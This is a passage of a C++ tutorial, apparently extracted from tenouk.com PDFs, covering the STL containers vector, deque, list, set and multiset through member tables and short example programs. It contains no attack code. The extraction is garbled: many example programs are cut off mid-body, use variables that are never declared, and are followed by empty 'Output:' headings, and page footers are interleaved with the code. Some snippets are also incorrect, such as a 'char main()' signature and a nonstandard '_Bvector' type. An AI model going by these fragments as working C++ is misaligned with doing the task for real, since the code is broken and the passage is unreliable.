cout<<" "<<*Iter;
cout<<endl;
cout<<"\nOperation: erase(vec1.begin()"<<endl;
vec1.erase(vec1.begin());
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
Output:
- The return value is the first insert() function returns an iterator that point to the position where the
new element was inserted into the vector.
//vector, insert()
//begin(), end()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter;
vec1.push_back(12);
vec1.push_back(100);
vec1.push_back(9);
vec1.push_back(21);
www.tenouk.com Page 15 of 30
cout<<" "<<*Iter;
cout<<endl;
return 0;
}
Output:
//vector, max_size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::size_type i;
i = vec1.max_size();
cout<<"The max possible length of the vector is "<<i<<endl;
return 0;
}
Output:
int main()
{
vector <int> vec1;
vec1.push_back(4);
vec1.push_back(7);
vec1.push_back(3);
cout<<"\nOperation: vec1.back()\n";
cout<<vec1.back()<<endl;
cout<<"\nOperation: push_back(2)\n";
vec1.push_back(2);
cout<<vec1.back()<<endl;
www.tenouk.com Page 16 of 30
cout<<vec1[i]<<' ';
cout<<endl;
cout<<"\nOperation: vec1.pop_back()\n";
vec1.pop_back();
cout<<vec1.back()<<endl;
return 0;
}
Output:
- The return value is a reverse random-access iterator addressing the first element in a reversed vector or
addressing what had been the last element in the un reversed vector.
- If the return value of rbegin() is assigned to a const_reverse_iterator, the vector object
cannot be modified. If the return value of rbegin() is assigned to a reverse_iterator, the
vector object can be modified.
//vector, rbegin()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter;
vector <int>::reverse_iterator vec1_rIter;
vec1.push_back(10);
vec1.push_back(7);
vec1.push_back(3);
cout<<"\nOperation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is "<<*vec1_Iter<<endl;
cout<<"\nOperation: vec1.rbegin()\n";
vec1_rIter = vec1.rbegin();
cout<<"The first element of the reversed vec1 is "<<*vec1_rIter<<endl;
return 0;
}
Output:
www.tenouk.com Page 17 of 30
- The return value is a reverse random-access iterator that addresses the location succeeding the last
element in a reversed vector (the location that had preceded the first element in the unreversed vector).
- rend() is used with a reversed vector just as end() is used with a vector.
- If the return value of rend() is assigned to a const_reverse_iterator, then the vector object
cannot be modified. If the return value of rend() is assigned to a reverse_iterator, then the
vector object can be modified.
- rend() can be used to test to whether a reverse iterator has reached the end of its vector.
- The value returned by rend() should not be dereferenced.
//vector, rend()
//and rbegin()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::reverse_iterator vec1_rIter;
vec1.push_back(7);
vec1.push_back(3);
vec1.push_back(4);
vec1.push_back(1);
Output:
- If the container's size is less than the requested size, _Newsize, elements are added to the vector until
it reaches the requested size.
- If the container's size is larger than the requested size, the elements closest to the end of the container
are deleted until the container reaches the size _Newsize. If the present size of the container is the
same as the requested size, no action is taken.
- size() reflects the current size of the vector.
//vector, resize()
//and size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(40);
vec1.push_back(20);
www.tenouk.com Page 18 of 30
vec1.push_back(10);
vec1.push_back(12);
cout<<"\nOperation: vec1.resize(4)\n";
vec1.resize(4);
Output:
//vector, reserve()
//capacity() and size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(4);
vec1.push_back(2);
vec1.push_back(10);
cout<<"\nOperation: vec1.capacity()"<<endl;
cout<<"Current capacity of vec1 = "<<vec1.capacity()<<endl;
cout<<"\nOperation: vec1.reserve(10)"<<endl;
vec1.reserve(10);
www.tenouk.com Page 19 of 30
cout<<"Current capacity of vec1 = "<<vec1.capacity()<<endl;
cout<<"\nOperation: vec1.size()"<<endl;
cout<<"Current size of vec1 = "<<vec1.size()<<endl;
return 0;
}
Output:
//vector, swap()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vec1.push_back(4);
vec1.push_back(7);
vec1.push_back(2);
vec1.push_back(12);
vec2.push_back(11);
vec2.push_back(21);
vec2.push_back(30);
cout<<"Operation: vec1.swap(vec2)\n"<<endl;
vec1.swap(vec2);
cout<<"The number of elements in v1 = "<<vec1.size()<<endl;
cout<<"The number of elements in v2 = "<<vec2.size()<<endl;
Output:
www.tenouk.com Page 20 of 30
vector Class Template Operator
Operator Description
Returns a reference to the vector element at a specified
operator[]
position.
Table 27.6
- The return value is, if the position specified is greater than the size of the container, the result is
undefined.
- If the return value of operator[] is assigned to a const_reference, the vector object cannot be
modified. If the return value of operator[] is assigned to a reference, the vector object can be
modified.
//vector operator[]
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(10);
vec1.push_back(9);
vec1.push_back(8);
vec1.push_back(12);
Output:
Specialization Description
A full specialization of the template class vector for elements of type
vector<bool>
bool with an allocator for the underlying type used by the
Class
specialization.
www.tenouk.com Page 21 of 30
Table 27.7
vector<bool> Class
vector<bool> Typedefs
Typedef Description
A type that describes an object that can serve as a constant random-
const_iterator access iterator for the sequence of Boolean elements contained by the
vector.
A type that describes an object that can serve as a constant pointer to
const_pointer
a Boolean element of the sequence contained by the vector.
A type that describes an object that can serve as a constant reference
const_reference
to a Boolean element of the sequence contained by the vector.
A type that describes an object that can serve as a random-access
iterator
iterator for a sequence of Boolean elements contained by a vector.
A type that describes an object that can serve as a constant pointer to
pointer
a Boolean element of the sequence contained by the vector.
Table 27.8
Member
Description
function
flip() Reverses all bits in the vector.
swap() Exchanges the elements of two vectors with Boolean elements.
Table 27.9
//vector_bool, flip()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
_Bvector vecbool;
vecbool.push_back(1);
vecbool.push_back(0);
Output:
//vector_bool, swap()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
_Bvector vec1, vec2;
www.tenouk.com Page 22 of 30
vec1.push_back(0);
vec1.push_back(0);
vec2.push_back(1);
vec2.push_back(1);
Output:
Nested Classes
Table 27.10
---------------------------------------End of vector-----------------------------------
---www.tenouk.com---
27.5.2 deque
- The term deque (pronounced “deck”) is an abbreviation for ‘double-ended queue’. It is a dynamic
array that is implemented so that it can grow in both directions.
- So, inserting elements at the end and at the beginning is fast. However, inserting elements in the middle
takes time because elements must be moved. Deque structure can be depicted as follow:
- Deque reallocation occurs when a member function must insert or erase elements of the sequence:
www.tenouk.com Page 23 of 30
▪ If an element is erased at the front of the deque, only that iterator and references to the erased
element become invalid.
▪ If the last element is erased from the end of the deque, only that iterator to the final element and
references to the erased element become invalid.
int main()
{
//deque container for floating-point elements
//declaration
deque<float> elem, elem1;
return 0;
}
Output:
Operators
Operator Description
Tests if the deque object on the left side of the operator is not equal to the
operator!=
deque object on the right side.
Tests if the deque object on the left side of the operator is less than the deque
operator<
object on the right side.
Tests if the deque object on the left side of the operator is less than or equal to
operator<=
the deque object on the right side.
Tests if the deque object on the left side of the operator is equal to the deque
operator==
object on the right side.
Tests if the deque object on the left side of the operator is greater than the
operator>
deque object on the right side.
www.tenouk.com Page 24 of 30
Tests if the deque object on the left side of the operator is greater than or equal
operator>=
to the deque object on the right side.
Table 27.11
Class Description
A template class of sequence containers that arrange elements of a given type in
deque
a linear arrangement and, like vectors, allow fast random access to any element
Class
and efficient insertion and deletion at the back of the container.
Table 27.12
- The STL sequence container deque arranges elements of a given type in a linear arrangement and, like
vectors, allow fast random access to any element and efficient insertion and deletion at the back of the
container.
- However, unlike a vector, the deque class also supports efficient insertion and deletion at the front of
the container.
Typedefs
Typedef Description
allocator_type A type that represents the allocator class for the deque object.
A type that provides a random-access iterator that can access and read a
const_iterator
const element in the deque.
const_pointer A type that provides a pointer to a const element in a deque.
A type that provides a reference to a const element stored in a deque
const_reference
for reading and performing const operations.
A type that provides a random-access iterator that can read any const
const_reverse_iterator
element in the deque.
A type that provides the difference between two iterators that refer to
difference_type
elements within the same deque.
A type that provides a random-access iterator that can read or modify
iterator
any element in a deque.
pointer A type that provides a pointer to an element in a deque.
reference A type that provides a reference to an element stored in a deque.
A type that provides a random-access iterator that can read or modify an
reverse_iterator
element in a reversed deque.
size_type A type that counts the number of elements in a deque.
value_type A type that represents the data type stored in a deque.
Table 27.13
www.tenouk.com Page 25 of 30
Inserts an element or a number of elements or a range of elements into the
insert()
deque at a specified position.
max_size() Returns the maximum length of the deque.
pop_back() Deletes the element at the end of the deque.
pop_front() Deletes the element at the beginning of the deque.
push_back() Adds an element to the end of the deque.
push_front() Adds an element to the beginning of the deque.
rbegin() Returns an iterator to the first element in a reversed deque.
rend() Returns an iterator that point just beyond the last element in a reversed deque.
resize() Specifies a new size for a deque.
size() Returns the number of elements in the deque.
swap() Exchanges the elements of two deques.
Table 27.14
Operator Description
operator[] Returns a reference to the deque element at a specified position.
Table 27.15
- deque constructor, constructs a deque of a specific size or with elements of a specific value or with a
specific allocator or as a copy of all or part of some other deque.
- All constructors store an allocator object and initialize the deque.
- None of the constructors perform any interim reallocations.
//deque, constructors
#include <deque>
#include <iostream>
using namespace std;
int main()
{
deque <int>::iterator deq0Iter, deq1Iter, deq2Iter, deq3Iter, deq4Iter, deq5Iter,
deq6Iter;
//------------------------------------
cout<<"Operation: deque <int> deq0\n";
cout<<"deq0 data: ";
for(deq0Iter = deq0.begin(); deq0Iter != deq0.end(); deq0Iter++)
cout<<*deq0Iter<<" ";
www.tenouk.com Page 26 of 30
cout<<endl;
cout<<"\nOperation1: deq4Iter++...\n";
cout<<"Operation2: deque <int> deq5(deq4.begin(), deq4Iter)\n";
cout<<"deq5 data: ";
for(deq5Iter = deq5.begin(); deq5Iter != deq5.end(); deq5Iter++)
cout << *deq5Iter<<" ";
cout << endl;
Output:
- The following are program examples compiled using g++. Well, it seems that compiling STL
programs using g++ is smoother because if you use an old constructs, that is not based on the standard,
in your program, g++ will prompt you!
www.tenouk.com Page 27 of 30
//*******vector.cp*********
//vector constructors
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int>::iterator vec0Iter, vec1Iter, vec2Iter, vec3Iter, vec4Iter, vec5Iter;
//Create a vector vec3 with 5 elements of value 3 and with the allocator
//of vector vec2
vector <int> vec3(5, 3, vec2.get_allocator());
www.tenouk.com Page 28 of 30
Operation: vector <int> vec3(5, 3, vec2.get_allocator())
vec3 data: 3 3 3 3 3
//********deque.cpp*********
//deque, constructors
#include <deque>
#include <iostream>
using namespace std;
int main()
{
deque <int>::iterator deq0Iter, deq1Iter, deq2Iter, deq3Iter, deq4Iter, deq5Iter,
deq6Iter;
//------------------------------------
cout<<"Operation: deque <int> deq0\n";
cout<<"deq0 data: ";
for(deq0Iter = deq0.begin(); deq0Iter != deq0.end(); deq0Iter++)
cout<<*deq0Iter<<" ";
cout<<endl;
www.tenouk.com Page 29 of 30
cout<<endl;
cout<<"\nOperation1: deq4Iter++...\n";
cout<<"Operation2: deque <int> deq5(deq4.begin(), deq4Iter)\n";
cout<<"deq5 data: ";
for(deq5Iter = deq5.begin(); deq5Iter != deq5.end(); deq5Iter++)
cout << *deq5Iter<<" ";
cout << endl;
Operation1: deq4Iter++...
Operation2: deque <int> deq5(deq4.begin(), deq4Iter)
deq5 data: 10 10 10
----------------------------------------------------End of deque----------------------------------------------
---www.tenouk.com---
www.tenouk.com Page 30 of 30
MODULE 28
--THE STL--
CONTAINER PART II
list, set, multiset
Note: Compiled using VC++7.0/.Net, win32 empty console mode application. g++ program compilation examples
given at the end of this Module.
Abilities
28.1 Lists
- A list is implemented as a doubly linked list of elements. This means each element in a list has its own
segment of memory and refers to its predecessor and its successor.
- Lists do not provide random access. It can be depicted as follow:
- For example, to access the tenth element, you must navigate the first nine elements by following the
chain of their links. However, a step to the next or previous element is possible in constant time.
- Thus, the general access to an arbitrary element takes linear time (the average distance is proportional
to the number of elements). This is a lot worse than the amortized constant time provided by vectors
and deques.
- The advantage of a list is that the insertion or removal of an element is fast at any position. Only the
links must be changed. This implies that moving an element in the middle of a list is very fast
compared with moving an element in a vector or a deque.
- The list member functions merge(), reverse(), unique(), remove(), and remove_if()
have been optimized for operation on list objects and offer a high-performance alternative to their
generic counterparts.
- List reallocation occurs when a member function must insert or erase elements of the list. In all such
cases, only iterators or references that point at erased portions of the controlled sequence become
invalid.
- The following general list example creates an empty list of characters, inserts all characters from 'a' to
'z', and prints all elements by using a loop that actually prints and removes the first element of the
collection:
//list example
#include <iostream>
#include <list>
using namespace std;
int main()
{
//list container for character elements
list<char> elem;
www.tenouk.com Page 1 of 29
return 0;
}
Output:
- With STL, using loop to print the outputs and removes the element is not a proper way. Normally, we
would iterate over all elements using iterator. Using loop in the program example just for discussion.
- However, direct element access by using operator[] is not provided for lists. This is because lists
don't provide random access, and thus using operator[] would cause bad performance.
- There is another way to loop over the elements and print them by using iterators.
Operators
Operator Description
Tests if the list object on the left side of the operator is not equal to the list object on the
operator!=
right side.
Tests if the list object on the left side of the operator is less than the list object on the
operator<
right side.
Tests if the list object on the left side of the operator is less than or equal to the list
operator<=
object on the right side.
Tests if the list object on the left side of the operator is equal to the list object on the
operator==
right side.
Tests if the list object on the left side of the operator is greater than the list object on the
operator>
right side.
Tests if the list object on the left side of the operator is greater than or equal to the list
operator>=
object on the right side.
Table 28.1
Class Description
A template class of sequence containers that maintain their elements in a linear
list
arrangement and allow efficient insertions and deletions at any location within the
Class
sequence.
table 28.2
- The STL list class is a template class of sequence containers that maintain their elements in a linear
arrangement and allow efficient insertions and deletions at any location within the sequence.
- The sequence is stored as a bidirectional linked list of elements, each containing a member of some
type Type.
Typedefs
Typedef Description
allocator_type A type that represents the allocator class for a list object.
A type that provides a bidirectional iterator that can read a const
const_iterator
element in a list.
const_pointer A type that provides a pointer to a const element in a list.
A type that provides a reference to a const element stored in a list for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const
const_reverse_iterator
element in a list.
difference_type A type that provides the difference between two iterators those refer to
www.tenouk.com Page 2 of 29
elements within the same list.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a list.
pointer A type that provides a pointer to an element in a list.
A type that provides a reference to a const element stored in a list for
reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed list.
size_type A type that counts the number of elements in a list.
value_type A type that represents the data type stored in a list.
Table 28.3
Table 28.4
- list constructor, constructs a list of a specific size or with elements of a specific value or with a specific
allocator or as a copy of all or part of some other list.
- All constructors store an allocator object and initialize the list.
- get_allocator() returns a copy of the allocator object used to construct a list.
- None of the constructors perform any interim reallocations.
//list constructors
#include <list>
#include <iostream>
using namespace std;
www.tenouk.com Page 3 of 29
int main()
{
list <int>::iterator li0Iter, li1Iter, li2Iter, li3Iter, li4Iter, li5Iter, li6Iter;
//Create a list li6 by copying the range of li4[_First, _Last) and with
//the allocator of list li2
li4Iter = li4.begin();
li4Iter++;
li4Iter++;
li4Iter++;
list <int> li6(li4.begin(), li4Iter, li2.get_allocator());
//----------------------------------------------------
cout<<"Operation: list <int> li0\n";
cout<<"li0 data: ";
for(li0Iter = li0.begin(); li0Iter != li0.end(); li0Iter++)
cout<<" "<<*li0Iter;
cout<<endl;
www.tenouk.com Page 4 of 29
cout<<endl;
return 0;
}
Output:
- The return value is the first insert() function returns an iterator that point to the position where the
new element was inserted into the list.
- Any insertion operation can be expensive in term of time and resource.
//list, insert()
#include <list>
#include <iostream>
using namespace std;
int main()
{
list <int> lis1, lis2;
list <int>::iterator Iter;
lis1.push_back(13);
lis1.push_back(22);
lis1.push_back(15);
lis2.push_back(9);
lis2.push_back(5);
lis2.push_back(45);
www.tenouk.com Page 5 of 29
Iter = lis1.begin();
Iter++;
Iter++;
lis1.insert(Iter, 3, 30);
cout<<"\nOperation2: lis1.insert(++lis1.begin(),\n"
" lis2.begin(),--lis2.end())\n";
lis1.insert(++lis1.begin(), lis2.begin(),--lis2.end());
cout<<"lis1 data: ";
for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
return 0;
}
Output:
//list, remove()
#include <list>
#include <iostream>
using namespace std;
int main( )
{
list <int> lis1;
list <int>::iterator lis1Iter, lis2Iter;
lis1.push_back(7);
lis1.push_back(12);
lis1.push_back(25);
lis1.push_back(7);
lis1.push_back(9);
lis1.push_back(7);
lis1.push_back(21);
www.tenouk.com Page 6 of 29
Output:
- The first member function puts the elements in ascending order by default.
- The member template function orders the elements according to the user-specified comparison
operation _Comp of class Traits.
//list, sort()
#include <list>
#include <iostream>
using namespace std;
int main()
{
list <int> ls1;
list <int>::iterator ls1Iter;
ls1.push_back(31);
ls1.push_back(12);
ls1.push_back(40);
ls1.push_back(15);
ls1.push_back(9);
ls1.push_back(44);
cout<<"\nOperation: ls1.sort()\n";
ls1.sort();
cout<<"After sorting, ls1 data: ";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
cout<<"\nOperation: ls1.sort(greater<int>())\n";
ls1.sort(greater<int>());
cout<<"Re sort with 'greater than' operation,\nls1 =";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
return 0;
}
Output:
//list, splice()
#include <list>
#include <iostream>
using namespace std;
www.tenouk.com Page 7 of 29
int main( )
{
list <int> ls1, ls2, ls3, ls4;
list <int>::iterator ls1Iter, ls2Iter, ls3Iter, ls4Iter, PIter, QIter, RIter;
ls1.push_back(7);
ls1.push_back(15);
ls2.push_back(9);
ls2.push_back(22);
ls2.push_back(12);
ls3.push_back(29);
ls3.push_back(30);
ls4.push_back(33);
ls4.push_back(25);
ls4.push_back(51);
Output:
www.tenouk.com Page 8 of 29
- This function assumes that the list is sorted, so that all duplicate elements are adjacent. Duplicates that
are not adjacent will not be deleted.
- The first member function removes every element that compares equal to its preceding element.
- The second member function removes every element that satisfies the predicate function when
compared with its preceding element.
//list, unique()
#include <list>
#include <iostream>
using namespace std;
int main()
{
list <int> ls1;
list <int>::iterator ls1Iter, ls2Iter, ls3Iter;
not_equal_to<int> mypred;
ls1.push_back(-12);
ls1.push_back(12);
ls1.push_back(12);
ls1.push_back(22);
ls1.push_back(22);
ls1.push_back(13);
ls1.push_back(-12);
ls1.push_back(14);
Output:
www.tenouk.com Page 9 of 29
---------------------------------------------------End of list---------------------------------------------
---www.tenouk.com---
- Associative containers sort their elements automatically according to a certain ordering criterion.
- This criterion takes the form of a function that compares either the value or a special key that is
defined for the value.
- By default, the containers compare the elements or the keys with operator less than (<). However, you
can supply your own comparison function to define another ordering criterion.
- Associative containers are typically implemented as binary trees. Thus, every element (every node)
has one parent and two children. All ancestors to the left have lesser values; all ancestors to the right
have greater values. It can be depicted as follow:
- The associative containers differ in the kind of elements they support and how they handle
duplicates. The following is discussion of the associative containers that are predefined in the STL.
- All of the associative container classes have an optional template argument for the sorting criterion.
The default sorting criterion is the operator < (les than).
- The sorting criterion is also used as the test for equality; that is, two elements are equal if neither is less
than the other.
- You can consider a set as a special kind of map, in which the value is identical to the key. In fact, all of
these associative container types are usually implemented by using the same basic implementation of a
binary tree.
- The choice of container type should be based in general on the type of searching and inserting required
by the application.
- Associative containers are optimized for the operations of lookup, insertion and removal. The member
functions that explicitly support these operations are efficient, performing them in a time that is on
average proportional to the logarithm of the number of elements in the container.
- Inserting elements invalidates no iterators, and removing elements invalidates only those iterators that
had specifically pointed at the removed elements.
www.tenouk.com Page 10 of 29
28.4 Sets
- A set is a collection in which elements are sorted according to their own values. Each element may
occur only once, thus duplicates are not allowed. Its structure can be depicted as shown below.
Operators
Operator Description
Tests if the set or multiset object on the left side of the operator is not equal to the
operator!=
set or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is less than the set
operator<
or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is less than or equal
operator<=
to the set or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is equal to the set
operator==
or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is greater than the
operator>
set or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is greater than or
operator>=
equal to the set or multiset object on the right side.
Table 28.5
Specialized
template Description
function
swap() Exchanges the elements of two sets or multisets.
Table 28.6
Class Description
Used for the storage and retrieval of data from a collection in which the values of
set Class the elements contained are unique and serve as the key values according to which
the data is automatically ordered.
Used for the storage and retrieval of data from a collection in which the values of
multiset
the elements contained need not be unique and in which they serve as the key
Class
values according to which the data is automatically ordered.
Table 28.7
Typedefs
Typedef Description
allocator_type A type that represents the allocator class for the set object.
A type that provides a bidirectional iterator that can read a const element
const_iterator
in the set.
const_pointer A type that provides a pointer to a const element in a set.
www.tenouk.com Page 11 of 29
A type that provides a reference to a const element stored in a set for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const
const_reverse_iterator
element in the set.
A signed integer type that can be used to represent the number of elements
difference_type
of a set in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a set.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the set.
The type describes an object stored as an element of a set in its capacity as
key_type
sort key.
pointer A type that provides a pointer to an element in a set.
reference A type that provides a reference to an element stored in a set.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed set.
An unsigned integer type that can represent the number of elements in a
size_type
set.
The type that provides a function object that can compare two elements to
value_compare
determine their relative order in the set.
The type describes an object stored as an element of a set in its capacity as
value_type
a value.
Table 28.8
Table 28.9
- The STL container class set is used for the storage and retrieval of data from a collection in which the
values of the elements contained are unique and serve as the key values according to which the data is
automatically ordered.
www.tenouk.com Page 12 of 29
- The value of an element in a set may not be changed directly. Instead, you must delete old values and
insert elements with new values.
template <
class Key,
class Traits = less<Key>,
class Allocator = allocator<Key>
>
Parameters
Parameter Description
Key The element data type to be stored in the set.
The type that provides a function object that can compare two element values as sort keys to
Traits
determine their relative order in the set. This argument is optional, and the binary predicate
less <Key> is the default value.
The type that represents the stored allocator object that encapsulates details about the set's
Allocator
allocation and de-allocation of memory. This argument is optional, and the default value is
allocator<Key>.
Table 28.10
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value. It is a simple associative container because its
element values are its key values.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Sorted, because its elements are ordered by key values within the container in accordance with a
specified comparison function.
▪ Unique in the sense that each of its elements must have a unique key. Since set is also a simple
associative container, its elements are also unique.
- A set is also described as a template class because the functionality it provides is generic and
independent of the specific type of data contained as elements. The data type to be used is, instead,
specified as a parameter in the class template along with the comparison function and allocator.
- The elements of a set are unique and serve as their own sort keys. This type of structure is an ordered
list of, say, words in which the words may occur only once.
- If multiple occurrences of the words were allowed, then a multiset would be the appropriate container
structure.
- If unique definitions were attached as values to the list of key words, then a map would be an
appropriate structure to contain this data. If instead the definitions were not unique, then a multimap
would be the container of choice.
- The set orders the sequence it controls by calling a stored function object of type key_compare. This
stored object is a comparison function that may be accessed by calling the member function
key_comp.
- In general, the elements need to be merely less than comparable to establish this order so that, given
any two elements, it may be determined either that they are equivalent (in the sense that neither is less
than the other) or that one is less than the other. This results in an ordering between the nonequivalent
elements.
- The iterator provided by the set class is a bidirectional iterator, but the class member functions
insert() and set() have versions that take as template parameters a weaker input iterator, whose
functionality requirements are more minimal than those guaranteed by the class of bidirectional
iterators.
- The different iterator concepts form a family related by refinements in their functionality. Each iterator
concept has its own set of requirements, and the algorithms that work with them must limit their
assumptions to the requirements provided by that type of iterator.
- It may be assumed that an input iterator may be dereferenced to refer to some object and that it may be
incremented to the next iterator in the sequence.
- This is a minimal set of functionality, but it is enough to be able to talk meaningfully about a range of
iterators [_First, _Last) in the context of the class's member functions.
set Constructor
www.tenouk.com Page 13 of 29
- Constructs a set that is empty or that is a copy of all or part of some other set. The following is a code
for set constructor set::set. It is provided here for parameters terminologies reference and will not
be repeated for other associative containers.
set( );
explicit set(
const Traits& _Comp
);
explicit set(
const Traits& _Comp,
const Allocator& _Al
);
set(
const _set& _Right
);
template<class InputIterator>
set(
InputIterator _First,
InputIterator _Last
);
template<class InputIterator>
set(
InputIterator _First,
InputIterator _Last,
const Traits& _Comp
);
template<class InputIterator>
set(
InputIterator _First,
InputIterator _Last,
const Traits& _Comp,
const Allocator& _Al
);
Parameters
Parameter Description
_Al The storage allocator class to be used for this set object, which defaults to Allocator.
_Comp The comparison function of type const Traits used to order the elements in the set,
which defaults to Compare.
_Right The set of which the constructed set is to be a copy.
_First The position of the first element in the range of elements to be copied.
_Last The position of the first element beyond the range of elements to be copied.
Table 28.11
- All constructors store a type of allocator object that manages memory storage for the set and that can
later be returned by calling get_allocator(). The allocator parameter is often omitted in the class
declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their sets.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the set and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial set, the second specifying the type of comparison
function (_Comp) to be used in establishing the order of the elements and the third explicitly
specifying the allocator type (_Al) to be used.
- The keyword explicit suppresses certain kinds of automatic type conversion.
- The fourth constructor specifies a copy of the set _Right.
- The last three constructors copy the range [_First, _Last) of a set with increasing explicitness in
specifying the type of comparison function of class Traits and Allocator.
Note:
- You will find somewhere sometime in STL the half-open ranges format as shown below.
- The range is defined so that it includes the position used as the beginning of the range but excludes the
position used as the end. It can be illustrated below:
www.tenouk.com Page 14 of 29
- From the illustration, begin() and end() define a half-open range that includes the first element but
excludes the last. A half-open range has two advantages:
1. You have a simple end criterion for loops that iterate over the elements, they simply continue
as long as end() is not reached.
2. It avoids special handling for empty ranges. For empty ranges, begin() is equal to end().
//set, constructor
#include <set>
#include <iostream>
using namespace std;
char main()
{
set <char>::iterator st0_Iter, st1_Iter, st2_Iter, st3_Iter, st4_Iter, st5_Iter, st6_Iter;
//------------------------------------------------
cout<<"Operation: set <char> st0\n";
cout<<"st0 data: ";
for(st0_Iter = st0.begin(); st0_Iter != st0.end(); st0_Iter++)
cout<<" "<<*st0_Iter;
cout<<endl;
www.tenouk.com Page 15 of 29
cout<<"\nOperation1: set <char, less<char> > st1\n";
cout<<"Operation2: st1.insert('p')...\n";
cout<<"st1 data: ";
for(st1_Iter = st1.begin(); st1_Iter != st1.end(); st1_Iter++)
cout<<" "<<*st1_Iter;
cout<<endl;
Output:
- The return value is 1 if the set contains an element whose sort key matches the parameter key. 0 if the
set does not contain an element with a matching key.
- The member function returns the number of elements in the following range:
//set, count()
www.tenouk.com Page 16 of 29
//some warning during the compilation
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int> st1;
int i;
st1.insert(1);
st1.insert(2);
st1.insert(1);
i = st1.count(2);
cout<<"The number of elements in st1 with a sort key of 2 is: "<<i<<endl;
i = st1.count(3);
cout<<"The number of elements in st1 with a sort key of 3 is: "<<i<<endl;
return 0;
}
Output:
- The return value is a pair of iterators where the first is the lower_bound of the key and the second is the
upper_bound of the key.
- To access the first iterator of a pair pr returned by the member function, use pr.first, and to
dereference the lower bound iterator, use *(pr.first).
- To access the second iterator of a pair pr returned by the member function, use pr.second, and to
dereference the upper bound iterator, use *(pr.second).
//set, equal_range()
//some warning during compilation
#include <set>
#include <iostream>
using namespace std;
int main()
{
typedef set<int, less<int> > IntSet;
IntSet st1;
set <int>::iterator st1Iter;
set <int, less< int > > :: const_iterator st1_RcIter;
st1.insert(10);
st1.insert(20);
st1.insert(30);
st1.insert(40);
st1.insert(50);
www.tenouk.com Page 17 of 29
<<"a key of 30 in the set st1 is: "
<<*(p1.first)<<endl;
cout<<"\nOperation: p2 = st1.equal_range(60)\n";
p2 = st1.equal_range(60);
Output:
- The return value is the function object that a set uses to order its elements, which is the template
parameter Traits.
- The stored object defines the member function:
- Which returns true if _xVal precedes and is not equal to _yVal in the sort order.
- Note that both key_compare and value_compare are synonyms for the template parameter
Traits.
- Both types are provided for the set and multiset classes, where they are identical, for compatibility with
the map and multimap classes, where they are distinct.
//set, key_comp()
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int, less<int> > st1;
set<int, less<int> >::key_compare kc1 = st1.key_comp();
bool res1 = kc1(3, 7);
if(res1 == true)
{
cout<<"kc1(3,7) returns value of true, "
<<"where kc1\nis the function object of st1."
<<endl;
}
else
{
www.tenouk.com Page 18 of 29
cout<<"kc1(3,7) returns value of false "
<<"where kc1\nis the function object of st1."
<<endl;
}
Output:
- The return value is an iterator or const_iterator that addresses the location of an element in a set
that with a key that is equal to or greater than the argument key or that addresses the location
succeeding the last element in the set if no match is found for the key.
//set, lower_bound()
#include <set>
#include <iostream>
using namespace std;
int main( )
{
set <int> st1;
set <int> :: const_iterator st1Iter, st1_PIter, st1_QIter;
st1.insert(11);
st1.insert(21);
st1.insert(30);
st1.insert(10);
st1.insert(22);
st1_QIter = st1.lower_bound(21);
cout<<"The element of set st1 with a key of 21 is: "
<<*st1_QIter<<endl;
st1_QIter = st1.lower_bound(60);
www.tenouk.com Page 19 of 29
st1_QIter = st1.lower_bound(*st1_PIter);
cout<<"The element of st1 with a key matching "
<<"that\nof the last element is: "
<<*st1_QIter<<endl;
return 0;
}
Output:
//set, upper_bound()
#include <set>
#include <iostream>
using namespace std;
int main()
{
set <int> st1;
set <int> :: const_iterator st1Iter, st1PIter, st1QIter;
st1.insert(9);
st1.insert(12);
st1.insert(20);
st1.insert(13);
st1.insert(11);
st1QIter = st1.upper_bound(9);
cout<<"The first element of set st1 with a key greater "
<<"than 9 is: "<<*st1QIter<<endl;
st1QIter = st1.upper_bound(22);
Output:
www.tenouk.com Page 20 of 29
- The return value is a function object that a set uses to order its elements, which is the template
parameter Traits.
- The stored object defines the member function:
- Which returns true if _xVal precedes and is not equal to _yVal in the sort order.
